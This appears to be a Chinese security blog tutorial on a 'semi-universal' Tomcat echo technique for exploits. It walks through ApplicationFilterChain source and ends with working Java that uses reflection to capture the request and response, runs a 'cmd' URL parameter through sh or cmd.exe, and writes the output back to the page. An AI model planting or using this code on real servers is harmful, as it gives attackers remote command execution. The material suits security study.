0x00 前言

之前没搞过这种半通用回显方法,学习一下。

0x01 相关概念

FilterChain

Filter即过滤器,是Servlet技术中最实用的技术,主要用于对用户请求进行预处理,也可以对HttpServletResponse进行后处理。Web开发人员通过Filter技术,对Web服务器管理的所有Web资源如JSP、Servlet、静态文件等进行拦截,从而实现一些特殊的功能。例如实现URL级别的权限访问控制、过滤敏感词汇、压缩响应信息等一些高级功能。

Filter功能:

  • 在HttpServletRequest到达Servlet之前,拦截客户的HttpServletRequest 。根据需要检查HttpServletRequest,也可以修改HttpServletRequest头和数据。
  • 在HttpServletResponse到达客户端之前,拦截HttpServletResponse 。根据需要检查HttpServletResponse,也可以修改HttpServletResponse头和数据。

FilterChain:在一个Web应用中,可以开发编写多个Filter,这些Filter组合起来称之为一个FilterChain。Web服务器根据Filter在web.xml文件中的注册顺序,决定先调用哪个Filter,当第一个Filter的doFilter()方法被调用时,Web服务器会创建一个代表Filter链的FilterChain对象传递给该方法。在doFilter()方法中,开发人员如果调用了FilterChain对象的doFilter()方法,则Web服务器会检查FilterChain对象中是否还有Filter,如果有则调用第2个Filter,如果没有则调用目标Servlet。

Filter原理图:

而ApplicationFilterChain类则是FilterChain接口类的实现类。

ApplicationFilterChain类

简介

Tomcat中的ApplicationFilterChain类是一个Java Servlet API规范javax.servlet.FilterChain接口类的实现类,用于管理某个请求request的一组过滤器Filter的执行。当针对一个request所定义的一组过滤器Filter处理完该请求后,最后一个doFilter()调用才会执行目标Servlet的service()函数。之后响应对象response会按照相反的顺序依次经过这组Filter处理,最终到达客户端。

类图

创建过程

ApplicationFilterChain类是在StandardWrapperValve类中invoke()方法中调用ApplicationFilterFactory.createFilterChain()方法创建的。StandardWrapperValve是Wrapper的标准阀,用在Pipleline流程中的最后一个valve执行,其中会创建ApplicationFilterChain对象并调用其doFilter()方法来处理请求,这个ApplicationFilterChain包含着配置的与请求相匹配的Filter和Servlet,其doFilter()方法会依次调用所有的Filter的doFilter()方法和Servlet的service()方法。

这里可看源码注释分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
public final void invoke(Request request, Response response)
throws IOException, ServletException {

// 初始化本地变量
boolean unavailable = false;
Throwable throwable = null;
// This should be a Request attribute...
long t1=System.currentTimeMillis();
requestCount.incrementAndGet();
// 获取StandardWrapper Container
StandardWrapper wrapper = (StandardWrapper) getContainer();
Servlet servlet = null;
Context context = (Context) wrapper.getParent();

// 检查标记为不可用的应用程序
if (!context.getState().isAvailable()) {
response.sendError(HttpServletResponse.SC_SERVICE_UNAVAILABLE,
sm.getString("standardContext.isUnavailable"));
unavailable = true;
}

// 检查标记为不可用的servlet
if (!unavailable && wrapper.isUnavailable()) {
container.getLogger().info(sm.getString("standardWrapper.isUnavailable",
wrapper.getName()));
long available = wrapper.getAvailable();
if ((available > 0L) && (available < Long.MAX_VALUE)) {
response.setDateHeader("Retry-After", available);
response.sendError(HttpServletResponse.SC_SERVICE_UNAVAILABLE,
sm.getString("standardWrapper.isUnavailable",
wrapper.getName()));
} else if (available == Long.MAX_VALUE) {
response.sendError(HttpServletResponse.SC_NOT_FOUND,
sm.getString("standardWrapper.notFound",
wrapper.getName()));
}
unavailable = true;
}

// 分配一个servlet实例来处理此请求
try {
if (!unavailable) {
// 通过Wrapper获取Servlet实例,内部已经调用了service(request, response)方法,对req与res进行了字段赋值
// 下面是对Response和Request进行后续的处理
servlet = wrapper.allocate();
}
} catch (UnavailableException e) {
container.getLogger().error(
sm.getString("standardWrapper.allocateException",
wrapper.getName()), e);
long available = wrapper.getAvailable();
if ((available > 0L) && (available < Long.MAX_VALUE)) {
response.setDateHeader("Retry-After", available);
response.sendError(HttpServletResponse.SC_SERVICE_UNAVAILABLE,
sm.getString("standardWrapper.isUnavailable",
wrapper.getName()));
} else if (available == Long.MAX_VALUE) {
response.sendError(HttpServletResponse.SC_NOT_FOUND,
sm.getString("standardWrapper.notFound",
wrapper.getName()));
}
} catch (ServletException e) {
container.getLogger().error(sm.getString("standardWrapper.allocateException",
wrapper.getName()), StandardWrapper.getRootCause(e));
throwable = e;
exception(request, response, e);
} catch (Throwable e) {
ExceptionUtils.handleThrowable(e);
container.getLogger().error(sm.getString("standardWrapper.allocateException",
wrapper.getName()), e);
throwable = e;
exception(request, response, e);
servlet = null;
}

// 设置请求相关属性
MessageBytes requestPathMB = request.getRequestPathMB();
DispatcherType dispatcherType = DispatcherType.REQUEST;
if (request.getDispatcherType()==DispatcherType.ASYNC) dispatcherType = DispatcherType.ASYNC;
request.setAttribute(Globals.DISPATCHER_TYPE_ATTR,dispatcherType);
request.setAttribute(Globals.DISPATCHER_REQUEST_PATH_ATTR,
requestPathMB);
// 新建ApplicationFilterChain实例
ApplicationFilterChain filterChain =
ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);

// 调用本次请求的filter chain
// 注意:这里在会调用Servlet的service()函数
Container container = this.container;
try {
if ((servlet != null) && (filterChain != null)) {
// Swallow output if needed
if (context.getSwallowOutput()) {
try {
SystemLogHandler.startCapture();
if (request.isAsyncDispatching()) {
request.getAsyncContextInternal().doInternalDispatch();
} else {
filterChain.doFilter(request.getRequest(),
response.getResponse());
}
} finally {
String log = SystemLogHandler.stopCapture();
if (log != null && log.length() > 0) {
context.getLogger().info(log);
}
}
} else {
if (request.isAsyncDispatching()) {
request.getAsyncContextInternal().doInternalDispatch();
} else {
// 调用ApplicationFilterChain实例的doFilter()函数
// 其中执行完最后一个doFilter()后会执行Servlet的service()函数
filterChain.doFilter
(request.getRequest(), response.getResponse());
}
}

}
} catch (ClientAbortException | CloseNowException e) {
if (container.getLogger().isDebugEnabled()) {
container.getLogger().debug(sm.getString(
"standardWrapper.serviceException", wrapper.getName(),
context.getName()), e);
}
throwable = e;
exception(request, response, e);
} catch (IOException e) {
container.getLogger().error(sm.getString(
"standardWrapper.serviceException", wrapper.getName(),
context.getName()), e);
throwable = e;
exception(request, response, e);
} catch (UnavailableException e) {
container.getLogger().error(sm.getString(
"standardWrapper.serviceException", wrapper.getName(),
context.getName()), e);
// throwable = e;
// exception(request, response, e);
wrapper.unavailable(e);
long available = wrapper.getAvailable();
if ((available > 0L) && (available < Long.MAX_VALUE)) {
response.setDateHeader("Retry-After", available);
response.sendError(HttpServletResponse.SC_SERVICE_UNAVAILABLE,
sm.getString("standardWrapper.isUnavailable",
wrapper.getName()));
} else if (available == Long.MAX_VALUE) {
response.sendError(HttpServletResponse.SC_NOT_FOUND,
sm.getString("standardWrapper.notFound",
wrapper.getName()));
}
// Do not save exception in 'throwable', because we
// do not want to do exception(request, response, e) processing
} catch (ServletException e) {
Throwable rootCause = StandardWrapper.getRootCause(e);
if (!(rootCause instanceof ClientAbortException)) {
container.getLogger().error(sm.getString(
"standardWrapper.serviceExceptionRoot",
wrapper.getName(), context.getName(), e.getMessage()),
rootCause);
}
throwable = e;
exception(request, response, e);
} catch (Throwable e) {
ExceptionUtils.handleThrowable(e);
container.getLogger().error(sm.getString(
"standardWrapper.serviceException", wrapper.getName(),
context.getName()), e);
throwable = e;
exception(request, response, e);
} finally {
// 释放本次请求的filter chain
if (filterChain != null) {
filterChain.release();
}

// 释放servlet实例
try {
if (servlet != null) {
wrapper.deallocate(servlet);
}
} catch (Throwable e) {
ExceptionUtils.handleThrowable(e);
container.getLogger().error(sm.getString("standardWrapper.deallocateException",
wrapper.getName()), e);
if (throwable == null) {
throwable = e;
exception(request, response, e);
}
}

// If this servlet has been marked permanently unavailable,
// unload it and release this instance
try {
if ((servlet != null) &&
(wrapper.getAvailable() == Long.MAX_VALUE)) {
wrapper.unload();
}
} catch (Throwable e) {
ExceptionUtils.handleThrowable(e);
container.getLogger().error(sm.getString("standardWrapper.unloadException",
wrapper.getName()), e);
if (throwable == null) {
exception(request, response, e);
}
}
long t2=System.currentTimeMillis();

long time=t2-t1;
processingTime += time;
if( time > maxTime) maxTime=time;
if( time < minTime) minTime=time;
}
}

跟进看下ApplicationFilterFactory类的createFilterChain()函数的具体实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
public static ApplicationFilterChain createFilterChain(ServletRequest request,
Wrapper wrapper, Servlet servlet) {

// 如果没有servlet执行,则直接返回null
if (servlet == null)
return null;

// 创建并初始化一个ApplicationFilterChain对象
ApplicationFilterChain filterChain = null;
if (request instanceof Request) {
Request req = (Request) request;
if (Globals.IS_SECURITY_ENABLED) {
// Security: Do not recycle
filterChain = new ApplicationFilterChain();
} else {
// 从请求中尝试获取FilterChain
filterChain = (ApplicationFilterChain) req.getFilterChain();
// 如果获取不到,则新建ApplicationFilterChain实例并设置到请求中
if (filterChain == null) {
// 新建ApplicationFilterChain实例时,会先调用其静态代码来
// 初始化lastServicedRequest和lastServicedResponse为null
filterChain = new ApplicationFilterChain();
req.setFilterChain(filterChain);
}
}
} else {
// 用于请求分发器的场景
filterChain = new ApplicationFilterChain();
}

// 为ApplicationFilterChain对象设置Servlet
filterChain.setServlet(servlet);
filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());

// 获取当前上下文的过滤器映射关系
StandardContext context = (StandardContext) wrapper.getParent();
FilterMap filterMaps[] = context.findFilterMaps();

// 如果没有映射关系则直接返回
if ((filterMaps == null) || (filterMaps.length == 0))
return filterChain;

// 获取匹配过滤器映射关系所需的信息
DispatcherType dispatcher =
(DispatcherType) request.getAttribute(Globals.DISPATCHER_TYPE_ATTR);

// 获取请求路径信息
String requestPath = null;
Object attribute = request.getAttribute(Globals.DISPATCHER_REQUEST_PATH_ATTR);
if (attribute != null){
requestPath = attribute.toString();
}

String servletName = wrapper.getName();

// 将相关请求路径映射到的过滤器添加到ApplicationFilterConfig对象中
for (FilterMap filterMap : filterMaps) {
if (!matchDispatcher(filterMap, dispatcher)) {
continue;
}
if (!matchFiltersURL(filterMap, requestPath))
continue;
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
context.findFilterConfig(filterMap.getFilterName());
if (filterConfig == null) {
// FIXME - log configuration problem
continue;
}
filterChain.addFilter(filterConfig);
}

// 接着添加与Servlet名称匹配的过滤器
for (FilterMap filterMap : filterMaps) {
if (!matchDispatcher(filterMap, dispatcher)) {
continue;
}
if (!matchFiltersServlet(filterMap, servletName))
continue;
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
context.findFilterConfig(filterMap.getFilterName());
if (filterConfig == null) {
// FIXME - log configuration problem
continue;
}
filterChain.addFilter(filterConfig);
}

// 返回最终设置好的ApplicationFilterConfig对象
return filterChain;
}

源码浅析

这里直接从ApplicationFilterChain类源码中看注释分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
/**
* Implementation of <code>javax.servlet.FilterChain</code> used to manage
* the execution of a set of filters for a particular request. When the
* set of defined filters has all been executed, the next call to
* <code>doFilter()</code> will execute the servlet's <code>service()</code>
* method itself.
*
* @author Craig R. McClanahan
*/
public final class ApplicationFilterChain implements FilterChain {

// Used to enforce requirements of SRV.8.2 / SRV.14.2.5.1
private static final ThreadLocal<ServletRequest> lastServicedRequest;
private static final ThreadLocal<ServletResponse> lastServicedResponse;

// 在ApplicationFilterChain类首次创建时调用
static {
// WRAP_SAME_OBJECT默认为空
if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
lastServicedRequest = new ThreadLocal<>();
lastServicedResponse = new ThreadLocal<>();
} else {
lastServicedRequest = null;
lastServicedResponse = null;
}
}

// filters数组每次扩容的增量
public static final int INCREMENT = 10;

/**
* Filters.
*/
private ApplicationFilterConfig[] filters = new ApplicationFilterConfig[0];


// 当前执行的filter索引index
private int pos = 0;


// filters总量
private int n = 0;


// filter之后执行的Servlet实例
private Servlet servlet = null;


// 关联的servlet实例是否支持异步处理
private boolean servletSupportsAsync = false;

/**
* The string manager for our package.
*/
private static final StringManager sm =
StringManager.getManager(Constants.Package);


/**
* Static class array used when the SecurityManager is turned on and
* <code>doFilter</code> is invoked.
*/
private static final Class<?>[] classType = new Class[]{
ServletRequest.class, ServletResponse.class, FilterChain.class};

/**
* Static class array used when the SecurityManager is turned on and
* <code>service</code> is invoked.
*/
private static final Class<?>[] classTypeUsedInService = new Class[]{
ServletRequest.class, ServletResponse.class};

// 调用filter chain中的下一个filter,并传递指定的请求和响应。如果filter chain中没有其他filter,则调用Servlet本身的service()方法
// 该函数主要进行一层安全验证处理,再内部调用internalDoFilter()做实际处理
@Override
public void doFilter(ServletRequest request, ServletResponse response)
throws IOException, ServletException {

// 是否开启Security Manager
if( Globals.IS_SECURITY_ENABLED ) {
final ServletRequest req = request;
final ServletResponse res = response;
try {
java.security.AccessController.doPrivileged(
(java.security.PrivilegedExceptionAction<Void>) () -> {
// 内部调用进一步处理
internalDoFilter(req,res);
return null;
}
);
} catch( PrivilegedActionException pe) {
Exception e = pe.getException();
if (e instanceof ServletException)
throw (ServletException) e;
else if (e instanceof IOException)
throw (IOException) e;
else if (e instanceof RuntimeException)
throw (RuntimeException) e;
else
throw new ServletException(e.getMessage(), e);
}
} else {
// 内部调用进一步处理
internalDoFilter(request,response);
}
}

// 实际处理的Filter方法
private void internalDoFilter(ServletRequest request,
ServletResponse response)
throws IOException, ServletException {

// 调用下一个存在的filter
if (pos < n) {
// 根据pos定位找到ApplicationFilterConfig
ApplicationFilterConfig filterConfig = filters[pos++];
try {
// 从ApplicationFilterConfig获取新的filter
Filter filter = filterConfig.getFilter();

if (request.isAsyncSupported() && "false".equalsIgnoreCase(
filterConfig.getFilterDef().getAsyncSupported())) {
request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR, Boolean.FALSE);
}
// 判断是否启用Security Manager
if( Globals.IS_SECURITY_ENABLED ) {
final ServletRequest req = request;
final ServletResponse res = response;
Principal principal =
((HttpServletRequest) req).getUserPrincipal();

Object[] args = new Object[]{req, res, this};
SecurityUtil.doAsPrivilege ("doFilter", filter, classType, args, principal);
} else {
// 调用用户编写的Filter中的方法进行过滤
filter.doFilter(request, response, this);
}
} catch (IOException | ServletException | RuntimeException e) {
throw e;
} catch (Throwable e) {
e = ExceptionUtils.unwrapInvocationTargetException(e);
ExceptionUtils.handleThrowable(e);
throw new ServletException(sm.getString("filterChain.filter"), e);
}
return;
}

// filter chain执行完后,调用servlet实例
try {
// 保存Servlet执行前的request与response,前提是WRAP_SAME_OBJECT不为空
if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
lastServicedRequest.set(request);
lastServicedResponse.set(response);
}

if (request.isAsyncSupported() && !servletSupportsAsync) {
request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR,
Boolean.FALSE);
}
// Use potentially wrapped request from this point
if ((request instanceof HttpServletRequest) &&
(response instanceof HttpServletResponse) &&
Globals.IS_SECURITY_ENABLED ) {
final ServletRequest req = request;
final ServletResponse res = response;
Principal principal =
((HttpServletRequest) req).getUserPrincipal();
Object[] args = new Object[]{req, res};
SecurityUtil.doAsPrivilege("service",
servlet,
classTypeUsedInService,
args,
principal);
} else {
// servlet实例的service()方法调用
servlet.service(request, response);
}
} catch (IOException | ServletException | RuntimeException e) {
throw e;
} catch (Throwable e) {
e = ExceptionUtils.unwrapInvocationTargetException(e);
ExceptionUtils.handleThrowable(e);
throw new ServletException(sm.getString("filterChain.servlet"), e);
} finally {
if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
lastServicedRequest.set(null);
lastServicedResponse.set(null);
}
}
}

// 获取最后一个从当前线程传递到servlet进行服务的请求
public static ServletRequest getLastServicedRequest() {
return lastServicedRequest.get();
}

// 获取最后一个从当前线程传递到servlet进行服务的响应
public static ServletResponse getLastServicedResponse() {
return lastServicedResponse.get();
}

// 添加filter到filter chain
void addFilter(ApplicationFilterConfig filterConfig) {

// 防止添加重复的filter
for(ApplicationFilterConfig filter:filters)
if(filter==filterConfig)
return;

// 如果filters数量满额
if (n == filters.length) {
// 以INCREMENT为单位扩容
ApplicationFilterConfig[] newFilters =
new ApplicationFilterConfig[n + INCREMENT];
// 数组内容copy
System.arraycopy(filters, 0, newFilters, 0, n);
// 引用替换
filters = newFilters;
}
// 扩容后再添加新的filter
filters[n++] = filterConfig;

}

/**
* Release references to the filters and wrapper executed by this chain.
*/
void release() {
for (int i = 0; i < n; i++) {
filters[i] = null;
}
n = 0;
pos = 0;
servlet = null;
servletSupportsAsync = false;
}

/**
* Prepare for reuse of the filters and wrapper executed by this chain.
*/
void reuse() {
pos = 0;
}

// 设置filter chain之后将执行的Servlet
void setServlet(Servlet servlet) {
this.servlet = servlet;
}

// 设置Servlet支持异步
void setServletSupportsAsync(boolean servletSupportsAsync) {
this.servletSupportsAsync = servletSupportsAsync;
}

// 查找不支持异步的filter
public void findNonAsyncFilters(Set<String> result) {
for (int i = 0; i < n ; i++) {
ApplicationFilterConfig filter = filters[i];
if ("false".equalsIgnoreCase(filter.getFilterDef().getAsyncSupported())) {
result.add(filter.getFilterClass());
}
}
}
}

看完代码,我们可以简介归纳一个ApplicationFilterChain对象包含几个主要参数:

  • n:filter个数;
  • pos:下一个要执行的filter的位置;
  • Servlet:当pos=n即过滤完成时,调用Servlet的service()方法,把请求交给Servlet;
  • filters:Filter的相关配置信息;

所以,ApplicationFilterChain对象的执行其实就是通过pos作为索引来逐个执行设置的filter的doFilter()函数,执行完所有filter的doFilter()后,就会调用Servlet的service()函数来处理请求。

0x02 回显利用

基本原理

一般的,基于Tomcat的回显利用实现思路如下:

  1. Tomcat中存在保存Request和Response的某些变量;
  2. 通过读取Request对象来获取输入的命令参数;
  3. 通过写入Response对象来实现响应回显输出;

而在前面分析的ApplicationFilterChain类中,我们看到在调用internalDoFilter()函数时,Request和Response是保存到lastServicedRequest和lastServicedResponse变量中的:

1
2
3
4
5
6
// We fell off the end of the chain -- call the servlet instance
try {
if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
lastServicedRequest.set(request);
lastServicedResponse.set(response);
}

而这两个变量是由private static final修饰的ThreadLocal类型的变量,static使得可以直接在没有创建对象的情况下来获取变量,ThreadLocal的作用主要是做数据隔离,填充的数据只属于当前线程,变量的数据对别的线程而言是相对隔离的,在多线程环境下,如何防止自己的变量被其它线程篡改

1
2
3
// Used to enforce requirements of SRV.8.2 / SRV.14.2.5.1
private static final ThreadLocal<ServletRequest> lastServicedRequest;
private static final ThreadLocal<ServletResponse> lastServicedResponse;

下面具体看看怎么实现回显。

代码实现

本地起个简易的Spring Boot,其中Controller代码如下,尝试获取当前HttpServletResponse内容和输入的input参数:

1
2
3
4
5
6
7
8
9
@ResponseBody
@RequestMapping("/test")
public String test(String input, HttpServletResponse httpServletResponse) throws Exception {
System.out.println(httpServletResponse);
if (input == null) {
input = "Echo Page";
}
return input;
}

调试看调用栈,该Response实例在函数调用栈中始终是同一个传递下来的:

这里理一下,我们的目标是要在本Controller的响应中添加命令执行的回显到页面中。

在前面的源码浅析中,我们知道ApplicationFilterChain这个类的internalDoFilter()函数中,会将当前的ServletRequest和ServletResponse保存到其成员变量lastServicedRequest和lastServicedResponse中,当然前提是ApplicationDispatcher.WRAP_SAME_OBJECT为true(默认为false):

看到WRAP_SAME_OBJECT是个static final变量,问题不大,可以通过反射来修改其值为true,从而使得程序能跑到if逻辑中让当前的ServletRequest和ServletResponse保存到lastServicedRequest和lastServicedResponse中。

具体怎么修改可以参考网上的文章:利用反射修改final数据域

先尝试写了下,代码说明如注释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
@ResponseBody
@RequestMapping("/test")
public String test(String input, HttpServletResponse httpServletResponse) throws Exception {
System.out.println(httpServletResponse);
if (input == null) {
input = "Echo Page";
}

// 获取ApplicationDispatcher类的声明字段WRAP_SAME_OBJECT
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");

// 获取Field类的声明字段modifiers
Field modifiersField = Field.class.getDeclaredField("modifiers");

// 添加访问权限才能访问私有属性
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
modifiersField.setAccessible(true);

// 清除代表final的那个bit
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() &~ Modifier.FINAL);

// 获取当前WRAP_SAME_OBJECT_FIELD的值
boolean WRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean(null);

// 如果WRAP_SAME_OBJECT_FIELD值为false,说明是第一次调用、还未进行反射修改
if (!WRAP_SAME_OBJECT) {
System.out.println("[*]通过反射机制来修改WRAP_SAME_OBJECT的值为true");
// 修改WRAP_SAME_OBJECT为true,才能反射修改到lastServicedRequest和lastServicedResponse
WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
} else {
System.out.println("[*]WRAP_SAME_OBJECT的值已为true");

}

return input;
}

直接跑之后控制台报如下错:

原因在于执行完Servlet的service()函数修改了WRAP_SAME_OBJECT为true后会进入下面的finally逻辑,其中会设置lastServicedRequest和lastServicedResponse两个变量值为null,但是这两个变量在默认情况下是null、并没有被新建:

根据这个错误信息,我们需要在代码中也新建lastServicedRequest和lastServicedResponse这两个实例,这样代码就没问题了。同时,还得加入获取URL参数并执行的代码,最后添加到Response中回显输出。看代码注释即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
@ResponseBody
@RequestMapping("/test")
public String test(String input, HttpServletResponse httpServletResponse) throws Exception {
System.out.println(httpServletResponse);
if (input == null) {
input = "Echo Page";
}

// 获取ApplicationDispatcher类的WRAP_SAME_OBJECT声明字段
// 和ApplicationFilterChain类的lastServicedRequest与lastServicedResponse声明字段
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");

// 获取Field类的modifiers声明字段
Field modifiersField = Field.class.getDeclaredField("modifiers");

// 添加访问权限才能访问私有属性
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
modifiersField.setAccessible(true);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);

// 清除代表final的那个bit,才能成功修改static final
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() &~ Modifier.FINAL);
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() &~ Modifier.FINAL);
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() &~ Modifier.FINAL);

// 获取当前WRAP_SAME_OBJECT_FIELD的值
boolean WRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean(null);

// 尝试获取当前lastServicedRequest和lastServicedResponse的值
// 如果不是第一次访问该接口则为非null
ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);

// 非null就可以直接获取URL参数cmd
String cmd = lastServicedRequest != null ? lastServicedRequest.get().getParameter("cmd") : null;
if (cmd != null) {
System.out.println("[*]获取到请求的cmd参数: " + cmd);
}

// 如果WRAP_SAME_OBJECT_FIELD值为false,说明是第一次调用、还未进行反射修改
// 也未新建lastServicedRequest与lastServicedResponse实例
if (!WRAP_SAME_OBJECT || lastServicedRequest == null || lastServicedResponse == null) {
System.out.println("[*]通过反射机制来修改WRAP_SAME_OBJECT的值为true");
// 修改WRAP_SAME_OBJECT为true,才能反射修改到lastServicedRequest和lastServicedResponse
WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);

// 新建lastServicedRequest和lastServicedResponse实例,避免默认null导致报错
lastServicedRequestField.set(null, new ThreadLocal<>());
lastServicedResponseField.set(null, new ThreadLocal<>());
} else if (cmd != null) {
// 执行cmd命令并添加到Response中回显

System.out.println("[*]WRAP_SAME_OBJECT的值已为true且存在cmd参数");

// 获取保存到lastServicedResponse中的ServletResponse
ServletResponse servletResponse = lastServicedResponse.get();
PrintWriter printWriter = servletResponse.getWriter();

// 获取ResponseFacade类的response声明字段,通过其获取ServletResponse里的Response对象
Field responseField = ResponseFacade.class.getDeclaredField("response");
responseField.setAccessible(true);
Response response = (Response) responseField.get(servletResponse);

// 反射修改Response对象的usingWriter声明字段为false
// 不加这段代码也能成功回显命令执行结果,但会报错显示当前Response已调用getWriter()
// 这是因为后续会调用Response的getOutputStream(),该函数和getWriter()是互相排斥的
// 但可通过反射修改usingWriter标志使得程序认为未调用getWriter()而跳过抛出异常的逻辑
Field usingWriterField = Response.class.getDeclaredField("usingWriter");
usingWriterField.setAccessible(true);
usingWriterField.set(response, Boolean.FALSE);

// 判断当前OS类型
boolean isLinux = true;
String osType = System.getProperty("os.name");
if (osType != null && osType.toLowerCase().contains("win")) {
isLinux = false;
}

// 执行命令并将结果写入ServletResponse的PrintWriter中
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner scanner = new Scanner(inputStream).useDelimiter("\\a");
String output = scanner.hasNext() ? scanner.next() : "";
printWriter.write(output);
printWriter.flush();
}

return input;
}

如代码所示,访问两次就出回显了:

半通用的原因

利用Tomcat ApplicationFilterChain类实现回显利用的方式之所以说是半通用,这是因为在Shiro中并不可行。原因在于,ApplicationFilterChain类中Request和Response的设置是在Shiro反序列化漏洞触发点之后。

这里看到在调用ApplicationFilterChain类的internalDoFilter()函数时,调用到了Shiro的ShiroFilter过滤器类、其中会调用到CookieRememberMeManager类的getRememberedSerializedIdentity()函数来获取cookie内容并进行反序列化操作,这个过程都是还在调用应用的doFilter()的时候就触发了,而间于Filter Chain执行之后、调用Servlet实例之前的Request和Response的设置就不起作用了:

0x03 参考

Tomcat中一种半通用回显方法